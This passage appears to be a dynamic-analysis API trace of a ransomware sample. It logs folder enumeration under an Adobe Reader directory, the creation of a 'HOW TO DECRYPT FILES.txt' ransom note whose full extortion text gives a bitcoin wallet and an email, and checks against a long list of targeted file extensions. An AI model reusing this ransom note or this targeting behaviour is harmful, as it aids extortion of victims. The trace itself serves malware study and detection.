ftLastAccessTime.dwLowDateTime=0x81dce140, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x81dce140, ftLastWriteTime.dwHighDateTime=0x1d2dda0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x4f7008, dwReserved1=0x3, cFileName="ENU", cAlternateFileName="")) returned 1 [0069.649] lstrcmpA (lpString1=".", lpString2="ENU") returned -1 [0069.649] lstrcmpA (lpString1="..", lpString2="ENU") returned -1 [0069.649] PathFindFileNameA (pszPath="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Legal\\*.*") returned="*.*" [0069.649] lstrcatA (in: lpString1="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Legal\\", lpString2="ENU" | out: lpString1="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Legal\\ENU") returned="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Legal\\ENU" [0069.649] lstrlenA (lpString="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Legal\\ENU") returned 57 [0069.649] FindFirstFileA (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Legal\\ENU\\*.*", lpFindFileData=0x18f658 | out: lpFindFileData=0x18f658*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x81da7fe0, ftCreationTime.dwHighDateTime=0x1d2dda0, ftLastAccessTime.dwLowDateTime=0x81dce140, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x81dce140, ftLastWriteTime.dwHighDateTime=0x1d2dda0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xf20003f1, dwReserved1=0x4e00c4, cFileName=".", cAlternateFileName="")) returned 0x502658 [0069.650] lstrcmpA (lpString1=".", lpString2=".") returned 0 [0069.650] FindNextFileA (in: hFindFile=0x502658, lpFindFileData=0x18f658 | out: lpFindFileData=0x18f658*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x81da7fe0, ftCreationTime.dwHighDateTime=0x1d2dda0, ftLastAccessTime.dwLowDateTime=0x81dce140, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x81dce140, ftLastWriteTime.dwHighDateTime=0x1d2dda0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x2e, dwReserved1=0x4e0000, cFileName="..", cAlternateFileName="")) returned 1 [0069.651] lstrcmpA (lpString1=".", lpString2="..") returned -1 [0069.651] lstrcmpA (lpString1="..", lpString2="..") returned 0 [0069.651] FindNextFileA (in: hFindFile=0x502658, lpFindFileData=0x18f658 | out: lpFindFileData=0x18f658*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x950fa000, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x81dce140, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x950fa000, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0x410, dwReserved0=0x2e002e, dwReserved1=0x0, cFileName="eula.ini", cAlternateFileName="")) returned 1 [0069.651] PeekMessageA (in: lpMsg=0x18f634, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18f634) returned 0 [0069.651] lstrcmpiA (lpString1="ÊÀÊ ÐÀÑØÈÔÐÎÂÀÒÜ ÔÀÉËÛ.txt", lpString2="eula.ini") returned -1 [0069.651] lstrcmpiA (lpString1="HOW TO DECRYPT FILES.txt", lpString2="eula.ini") returned 1 [0069.651] lstrcmpiA (lpString1="", lpString2="eula.ini") returned -1 [0069.651] PathFindFileNameA (pszPath="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Legal\\ENU\\*.*") returned="*.*" [0069.651] lstrcpyA (in: lpString1=0x407019, lpString2="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Legal\\ENU\\" | out: lpString1="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Legal\\ENU\\") returned="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Legal\\ENU\\" [0069.651] PathAddBackslashA (in: pszPath="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Legal\\ENU\\" | out: pszPath="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Legal\\ENU\\") returned="" [0069.651] lstrcatA (in: lpString1="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Legal\\ENU\\", lpString2="HOW TO DECRYPT FILES.txt" | out: lpString1="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Legal\\ENU\\HOW TO DECRYPT FILES.txt") returned="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Legal\\ENU\\HOW TO DECRYPT FILES.txt" [0069.651] GetFileAttributesA (lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Legal\\ENU\\HOW TO DECRYPT FILES.txt" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\legal\\enu\\how to decrypt files.txt")) returned 0xffffffff [0069.651] CreateFileA (lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Legal\\ENU\\HOW TO DECRYPT FILES.txt" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\legal\\enu\\how to decrypt files.txt"), dwDesiredAccess=0x40000000, dwShareMode=0x2, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x94 [0069.652] lstrlenA (lpString="All your personal FILES are now ENCRYPTED!\r\n\r\n\r\nDon't worry, you can get back all your files\r\nI don't want to lose your files too. If I want to do something nasty I would have wipe out all of your data\r\nbut that is not helping me. :) \r\nSo temporary all of your files are mine now until you pay the service cost of recovering them.\r\nIf yo want to recover them contact me at the emaill below, I'll be more than happy to help you to get out of this situation.\r\nYou have got 48 hours exactly, before you lost your files forever.\r\nFailing which, the price to recover double with every 48 hours passing!\r\nRest assured, all your files will be recovered once payment is received.\r\n\r\nThe Price to get all things back to normal : US$ 1500\r\nMy BTC Wallet : 1Mc9xe3mjaMLz99CUjao88s65X3ydVEZbX\r\n\r\nEmail : frankhans@tuta.io\r\n\r\n") returned 813 [0069.652] WriteFile (in: hFile=0x94, lpBuffer=0x4f4b00*, nNumberOfBytesToWrite=0x32d, lpNumberOfBytesWritten=0x406561, lpOverlapped=0x0 | out: lpBuffer=0x4f4b00*, lpNumberOfBytesWritten=0x406561*=0x32d, lpOverlapped=0x0) returned 1 [0069.654] SetFileTime (hFile=0x94, lpCreationTime=0x407546, lpLastAccessTime=0x40754e, lpLastWriteTime=0x407556) returned 1 [0069.654] CloseHandle (hObject=0x94) returned 1 [0069.654] lstrcatA (in: lpString1="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Legal\\ENU\\", lpString2="eula.ini" | out: lpString1="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Legal\\ENU\\eula.ini") returned="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Legal\\ENU\\eula.ini" [0069.654] PathMatchSpecA (pszFile="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Legal\\ENU\\eula.ini", pszSpec="*.ems") returned 0 [0069.654] lstrlenA (lpString="*.ems") returned 5 [0069.654] PathMatchSpecA (pszFile="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Legal\\ENU\\eula.ini", pszSpec="*.db") returned 0 [0069.654] lstrlenA (lpString="*.db") returned 4 [0069.654] PathMatchSpecA (pszFile="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Legal\\ENU\\eula.ini", pszSpec="*.dbf") returned 0 [0069.654] lstrlenA (lpString="*.dbf") returned 5 [0069.654] PathMatchSpecA (pszFile="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Legal\\ENU\\eula.ini", pszSpec="*.myox") returned 0 [0069.655] lstrlenA (lpString="*.myox") returned 6 [0069.655] PathMatchSpecA (pszFile="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Legal\\ENU\\eula.ini", pszSpec="*.myo") returned 0 [0069.655] lstrlenA (lpString="*.myo") returned 5 [0069.655] PathMatchSpecA (pszFile="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Legal\\ENU\\eula.ini", pszSpec="*.qbw") returned 0 [0069.655] lstrlenA (lpString="*.qbw") returned 5 [0069.655] PathMatchSpecA (pszFile="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Legal\\ENU\\eula.ini", pszSpec="*.qbb") returned 0 [0069.655] lstrlenA (lpString="*.qbb") returned 5 [0069.655] PathMatchSpecA (pszFile="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Legal\\ENU\\eula.ini", pszSpec="*.qbm") returned 0 [0069.655] lstrlenA (lpString="*.qbm") returned 5 [0069.655] PathMatchSpecA (pszFile="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Legal\\ENU\\eula.ini", pszSpec="*.qbo") returned 0 [0069.655] lstrlenA (lpString="*.qbo") returned 5 [0069.655] PathMatchSpecA (pszFile="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Legal\\ENU\\eula.ini", pszSpec="*.qbx") returned 0 [0069.655] lstrlenA (lpString="*.qbx") returned 5 [0069.655] PathMatchSpecA (pszFile="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Legal\\ENU\\eula.ini", pszSpec="*.qba") returned 0 [0069.655] lstrlenA (lpString="*.qba") returned 5 [0069.655] PathMatchSpecA (pszFile="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Legal\\ENU\\eula.ini", pszSpec="*.qby") returned 0 [0069.655] lstrlenA (lpString="*.qby") returned 5 [0069.655] PathMatchSpecA (pszFile="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Legal\\ENU\\eula.ini", pszSpec="*.qbj") returned 0 [0069.655] lstrlenA (lpString="*.qbj") returned 5 [0069.655] PathMatchSpecA (pszFile="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Legal\\ENU\\eula.ini", pszSpec="*.ofx") returned 0 [0069.655] lstrlenA (lpString="*.ofx") returned 5 [0069.655] PathMatchSpecA (pszFile="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Legal\\ENU\\eula.ini", pszSpec="*.qif") returned 0 [0069.655] lstrlenA (lpString="*.qif") returned 5 [0069.655] PathMatchSpecA (pszFile="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Legal\\ENU\\eula.ini", pszSpec="*.mye") returned 0 [0069.655] lstrlenA (lpString="*.mye") returned 5 [0069.655] PathMatchSpecA (pszFile="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Legal\\ENU\\eula.ini", pszSpec="*.mbox") returned 0 [0069.656] lstrlenA (lpString="*.mbox") returned 6 [0069.656] PathMatchSpecA (pszFile="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Legal\\ENU\\eula.ini", pszSpec="*.eml") returned 0 [0069.656] lstrlenA (lpString="*.eml") returned 5 [0069.656] PathMatchSpecA (pszFile="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Legal\\ENU\\eula.ini", pszSpec="*.pst") returned 0 [0069.656] lstrlenA (lpString="*.pst") returned 5 [0069.656] PathMatchSpecA (pszFile="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Legal\\ENU\\eula.ini", pszSpec="*.ost") returned 0 [0069.656] lstrlenA (lpString="*.ost") returned 5 [0069.656] PathMatchSpecA (pszFile="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Legal\\ENU\\eula.ini", pszSpec="*.idx") returned 0 [0069.656] lstrlenA (lpString="*.idx") returned 5 [0069.656] PathMatchSpecA (pszFile="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Legal\\ENU\\eula.ini", pszSpec="*.dbx") returned 0 [0069.656] lstrlenA (lpString="*.dbx") returned 5 [0069.656] PathMatchSpecA (pszFile="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Legal\\ENU\\eula.ini", pszSpec="*.sql") returned 0 [0069.656] lstrlenA (lpString="*.sql") returned 5 [0069.656] PathMatchSpecA (pszFile="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Legal\\ENU\\eula.ini", pszSpec="*.mdb") returned 0 [0069.656] lstrlenA (lpString="*.mdb") returned 5 [0069.656] PathMatchSpecA (pszFile="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Legal\\ENU\\eula.ini", pszSpec="*.fdb") returned 0 [0069.656] lstrlenA (lpString="*.fdb") returned 5 [0069.656] PathMatchSpecA (pszFile="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Legal\\ENU\\eula.ini", pszSpec="*.wab") returned 0 [0069.656] lstrlenA (lpString="*.wab") returned 5 [0069.656] PathMatchSpecA (pszFile="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Legal\\ENU\\eula.ini", pszSpec="*.dat") returned 0 [0069.656] lstrlenA (lpString="*.dat") returned 5 [0069.656] PathMatchSpecA (pszFile="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Legal\\ENU\\eula.ini", pszSpec="*.txt") returned 0 [0069.656] lstrlenA (lpString="*.txt") returned 5 [0069.656] PathMatchSpecA (pszFile="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Legal\\ENU\\eula.ini", pszSpec="*.jpeg") returned 0 [0069.656] lstrlenA (lpString="*.jpeg") returned 6 [0069.657] PathMatchSpecA (pszFile="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Legal\\ENU\\eula.ini", pszSpec="*.jpg") returned 0 [0069.657] lstrlenA (lpString="*.jpg") returned 5 [0069.657] PathMatchSpecA (pszFile="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Legal\\ENU\\eula.ini", pszSpec="*.png") returned 0 [0069.657] lstrlenA (lpString="*.png") returned 5 [0069.657] PathMatchSpecA (pszFile="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Legal\\ENU\\eula.ini", pszSpec="*.php") returned 0 [0069.657] lstrlenA (lpString="*.php") returned 5 [0069.657] PathMatchSpecA (pszFile="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Legal\\ENU\\eula.ini", pszSpec="*.cs") returned 0 [0069.657] lstrlenA (lpString="*.cs") returned 4 [0069.657] PathMatchSpecA (pszFile="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Legal\\ENU\\eula.ini", pszSpec="*.cpp") returned 0 [0069.657] lstrlenA (lpString="*.cpp") returned 5 [0069.657] PathMatchSpecA (pszFile="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Legal\\ENU\\eula.ini", pszSpec="*.rar") returned 0 [0069.657] lstrlenA (lpString="*.rar") returned 5 [0069.657] PathMatchSpecA (pszFile="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Legal\\ENU\\eula.ini", pszSpec="*.zip") returned 0 [0069.657] lstrlenA (lpString="*.zip") returned 5 [0069.657] PathMatchSpecA (pszFile="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Legal\\ENU\\eula.ini", pszSpec="*.html") returned 0 [0069.657] lstrlenA (lpString="*.html") returned 6 [0069.657] PathMatchSpecA (pszFile="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Legal\\ENU\\eula.ini", pszSpec="*.htm") returned 0 [0069.657] lstrlenA (lpString="*.htm") returned 5 [0069.657] PathMatchSpecA (pszFile="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Legal\\ENU\\eula.ini", pszSpec="*.xlsx") returned 0 [0069.657] lstrlenA (lpString="*.xlsx") returned 6 [0069.657] PathMatchSpecA (pszFile="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Legal\\ENU\\eula.ini", pszSpec="*.xls") returned 0 [0069.657] lstrlenA (lpString="*.xls") returned 5 [0069.657] PathMatchSpecA (pszFile="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Legal\\ENU\\eula.ini", pszSpec="*.mp4") returned 0 [0069.657] lstrlenA (lpString="*.mp4") returned 5 [0069.658] PathMatchSpecA (pszFile="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Legal\\ENU\\eula.ini", pszSpec="*.ppt") returned 0 [0069.658] lstrlenA (lpString="*.ppt") returned 5 [0069.658] PathMatchSpecA (pszFile="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Legal\\ENU\\eula.ini", pszSpec="*.pptx") returned 0 [0069.658] lstrlenA (lpString="*.pptx") returned 6 [0069.658] PathMatchSpecA (pszFile="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Legal\\ENU\\eula.ini", pszSpec="*.doc") returned 0 [0069.658] lstrlenA (lpString="*.doc") returned 5 [0069.658] PathMatchSpecA (pszFile="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Legal\\ENU\\eula.ini", pszSpec="*.dot") returned 0 [0069.658] lstrlenA (lpString="*.dot") returned 5 [0069.658] PathMatchSpecA (pszFile="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Legal\\ENU\\eula.ini", pszSpec="*.docx") returned 0 [0069.658] lstrlenA (lpString="*.docx") returned 6 [0069.658] PathMatchSpecA (pszFile="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Legal\\ENU\\eula.ini", pszSpec="*.7z") returned 0 [0069.658] lstrlenA (lpString="*.7z") returned 4 [0069.658] PathMatchSpecA (pszFile="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Legal\\ENU\\eula.ini", pszSpec="*.tar") returned 0 [0069.658] lstrlenA (lpString="*.tar") returned 5 [0069.658] PathMatchSpecA (pszFile="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Legal\\ENU\\eula.ini", pszSpec="*.bz2") returned 0 [0069.658] lstrlenA (lpString="*.bz2") returned 5 [0069.658] PathMatchSpecA (pszFile="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Legal\\ENU\\eula.ini", pszSpec="*.gz") returned 0 [0069.658] lstrlenA (lpString="*.gz") returned 4 [0069.658] PathMatchSpecA (pszFile="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Legal\\ENU\\eula.ini", pszSpec="*.mkv") returned 0 [0069.658] lstrlenA (lpString="*.mkv") returned 5 [0069.658] PathMatchSpecA (pszFile="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Legal\\ENU\\eula.ini", pszSpec="*.eml") returned 0 [0069.658] lstrlenA (lpString="*.eml") returned 5 [0069.658] PathMatchSpecA (pszFile="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Legal\\ENU\\eula.ini", pszSpec="*.msg") returned 0 [0069.658] lstrlenA (lpString="*.msg") returned 5 [0069.658] PathMatchSpecA (pszFile="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Legal\\ENU\\eula.ini", pszSpec="*.edb") returned 0 [0069.658] lstrlenA (lpString="*.edb") returned 5 [0069.659] PathMatchSpecA (pszFile="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Legal\\ENU\\eula.ini", pszSpec="*.accdb") returned 0 [0069.659] lstrlenA (lpString="*.accdb") returned 7 [0069.659] PathMatchSpecA (pszFile="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Legal\\ENU\\eula.ini", pszSpec="*.odb") returned 0 [0069.659] lstrlenA (lpString="*.odb") returned 5 [0069.659] PathMatchSpecA (pszFile="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Legal\\ENU\\eula.ini", pszSpec="*.java") returned 0 [0069.659] lstrlenA (lpString="*.java") returned 6 [0069.659] PathMatchSpecA (pszFile="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Legal\\ENU\\eula.ini", pszSpec="*.asm") returned 0 [0069.659] lstrlenA (lpString="*.asm") returned 5 [0069.659] PathMatchSpecA (pszFile="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Legal\\ENU\\eula.ini", pszSpec="*.pfx") returned 0 [0069.659] lstrlenA (lpString="*.pfx") returned 5 [0069.659] PathMatchSpecA (pszFile="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Legal\\ENU\\eula.ini", pszSpec="*.pem") returned 0 [0069.659] lstrlenA (lpString="*.pem") returned 5 [0069.659] PathMatchSpecA (pszFile="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Legal\\ENU\\eula.ini", pszSpec="*.p12") returned 0 [0069.659] lstrlenA (lpString="*.p12") returned 5 [0069.659] PathMatchSpecA (pszFile="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Legal\\ENU\\eula.ini", pszSpec="*.gpg") returned 0 [0069.659] lstrlenA (lpString="*.gpg") returned 5 [0069.659] PathMatchSpecA (pszFile="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Legal\\ENU\\eula.ini", pszSpec="*.vsd") returned 0 [0069.659] lstrlenA (lpString="*.vsd") returned 5 [0069.659] PathMatchSpecA (pszFile="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Legal\\ENU\\eula.ini", pszSpec="*.odg") returned 0 [0069.659] lstrlenA (lpString="*.odg") returned 5 [0069.659] PathMatchSpecA (pszFile="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Legal\\ENU\\eula.ini", pszSpec="*.raw") returned 0 [0069.659] lstrlenA (lpString="*.raw") returned 5 [0069.659] PathMatchSpecA (pszFile="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Legal\\ENU\\eula.ini", pszSpec="*.nef") returned 0 [0069.659] lstrlenA (lpString="*.nef") returned 5 [0069.660] PathMatchSpecA (pszFile="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Legal\\ENU\\eula.ini", pszSpec="*.svg") returned 0 [0069.660] lstrlenA (lpString="*.svg") returned 5 [0069.660] PathMatchSpecA (pszFile="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Legal\\ENU\\eula.ini", pszSpec="*.psd") returned 0 [0069.660] lstrlenA (lpString="*.psd") returned 5 [0069.660] PathMatchSpecA (pszFile="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Legal\\ENU\\eula.ini", pszSpec="*.vmx") returned 0 [0069.660] lstrlenA (lpString="*.vmx") returned 5 [0069.660] PathMatchSpecA (pszFile="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Legal\\ENU\\eula.ini", pszSpec="*.vmdk") returned 0 [0069.660] lstrlenA (lpString="*.vmdk") returned 6 [0069.660] PathMatchSpecA (pszFile="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Legal\\ENU\\eula.ini", pszSpec="*.vdi") returned 0 [0069.660] lstrlenA (lpString="*.vdi") returned 5 [0069.660] PathMatchSpecA (pszFile="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Legal\\ENU\\eula.ini", pszSpec="*.lay6") returned 0 [0069.660] lstrlenA (lpString="*.lay6") returned 6 [0069.660] PathMatchSpecA (pszFile="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Legal\\ENU\\eula.ini", pszSpec="*.mpeg") returned 0 [0069.660] lstrlenA (lpString="*.mpeg") returned 6 [0069.660] PathMatchSpecA (pszFile="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Legal\\ENU\\eula.ini", pszSpec="*.djvu") returned 0 [0069.660] lstrlenA (lpString="*.djvu") returned 6 [0069.660] PathMatchSpecA (pszFile="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Legal\\ENU\\eula.ini", pszSpec="*.tiff") returned 0 [0069.660] lstrlenA (lpString="*.tiff") returned 6 [0069.660] PathMatchSpecA (pszFile="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Legal\\ENU\\eula.ini", pszSpec="*.backup") returned 0 [0069.660] lstrlenA (lpString="*.backup") returned 8 [0069.660] PathMatchSpecA (pszFile="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Legal\\ENU\\eula.ini", pszSpec="*.pdf") returned 0 [0069.660] lstrlenA (lpString="*.pdf") returned 5 [0069.660] PathMatchSpecA (pszFile="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Legal\\ENU\\eula.ini", pszSpec="*.cert") returned 0 [0069.660] lstrlenA (lpString="*.cert") returned 6 [0069.661] PathMatchSpecA (pszFile="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Legal\\ENU\\eula.ini", pszSpec="*.docm") returned 0 [0069.661] lstrlenA (lpString="*.docm") returned 6 [0069.661] PathMatchSpecA (pszFile="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Legal\\ENU\\eula.ini", pszSpec="*.xlsm") returned 0 [0069.661] lstrlenA (lpString="*.xlsm") returned 6 [0069.661] PathMatchSpecA (pszFile="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Legal\\ENU\\eula.ini", pszSpec="*.dwg") returned 0 [0069.661] lstrlenA (lpString="*.dwg") returned 5 [0069.661] PathMatchSpecA (pszFile="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Legal\\ENU\\eula.ini", pszSpec="*.nd") returned 0 [0069.661] lstrlenA (lpString="*.nd") returned 4 [0069.661] PathMatchSpecA (pszFile="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Legal\\ENU\\eula.ini", pszSpec="*.tlg") returned 0 [0069.661] lstrlenA (lpString="*.tlg") returned 5 [0069.661] PathMatchSpecA (pszFile="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Legal\\ENU\\eula.ini", pszSpec="*.lgb") returned 0 [0069.661] lstrlenA (lpString="*.lgb") returned 5 [0069.661] PathMatchSpecA (pszFile="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Legal\\ENU\\eula.ini", pszSpec="*.mov") returned 0 [0069.661] lstrlenA (lpString="*.mov") returned 5 [0069.661] PathMatchSpecA (pszFile="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Legal\\ENU\\eula.ini", pszSpec="*.xdw") returned 0 [0069.661] lstrlenA (lpString="*.xdw") returned 5 [0069.661] PathMatchSpecA (pszFile="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Legal\\ENU\\eula.ini", pszSpec="*.ods") returned 0 [0069.661] lstrlenA (lpString="*.ods") returned 5 [0069.661] PathMatchSpecA (pszFile="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Legal\\ENU\\eula.ini", pszSpec="*.wav") returned 0 [0069.661] lstrlenA (lpString="*.wav") returned 5 [0069.662] PathMatchSpecA (pszFile="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Legal\\ENU\\eula.ini", pszSpec="*.mp3") returned 0 [0069.662] lstrlenA (lpString="*.mp3") returned 5 [0069.662] PathMatchSpecA (pszFile="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Legal\\ENU\\eula.ini", pszSpec="*.aiff") returned 0 [0069.662] lstrlenA (lpString="*.aiff") returned 6 [0069.662] PathMatchSpecA (pszFile="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Legal\\ENU\\eula.ini", pszSpec="*.flac") returned 0 [0069.662] lstrlenA (lpString="*.flac") returned 6 [0069.662] PathMatchSpecA (pszFile="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Legal\\ENU\\eula.ini", pszSpec="*.m4a") returned 0 [0069.662] lstrlenA (lpString="*.m4a") returned 5 [0069.662] PathMatchSpecA (pszFile="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Legal\\ENU\\eula.ini", pszSpec="*.csv") returned 0 [0069.662] lstrlenA (lpString="*.csv") returned 5 [0069.662] FindNextFileA (in: hFindFile=0x502658, lpFindFileData=0x18f658 | out: lpFindFileData=0x18f658*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x950fa000, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x81dce140, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x950fa000, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0xa835, dwReserved0=0x0, dwReserved1=0x0, cFileName="license.html", cAlternateFileName="LICENS~1.HTM")) returned 1 [0069.662] PeekMessageA (in: lpMsg=0x18f634, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18f634) returned 0 [0069.662] lstrcmpiA (lpString1="ÊÀÊ ÐÀÑØÈÔÐÎÂÀÒÜ ÔÀÉËÛ.txt", lpString2="license.html") returned -1 [0069.662] lstrcmpiA (lpString1="HOW TO DECRYPT FILES.txt", lpString2="license.html") returned -1 [0069.662] lstrcmpiA (lpString1="", lpString2="license.html") returned -1 [0069.662] PathFindFileNameA (pszPath="C:\\Program Files (x86)\\Adobe\\Reader 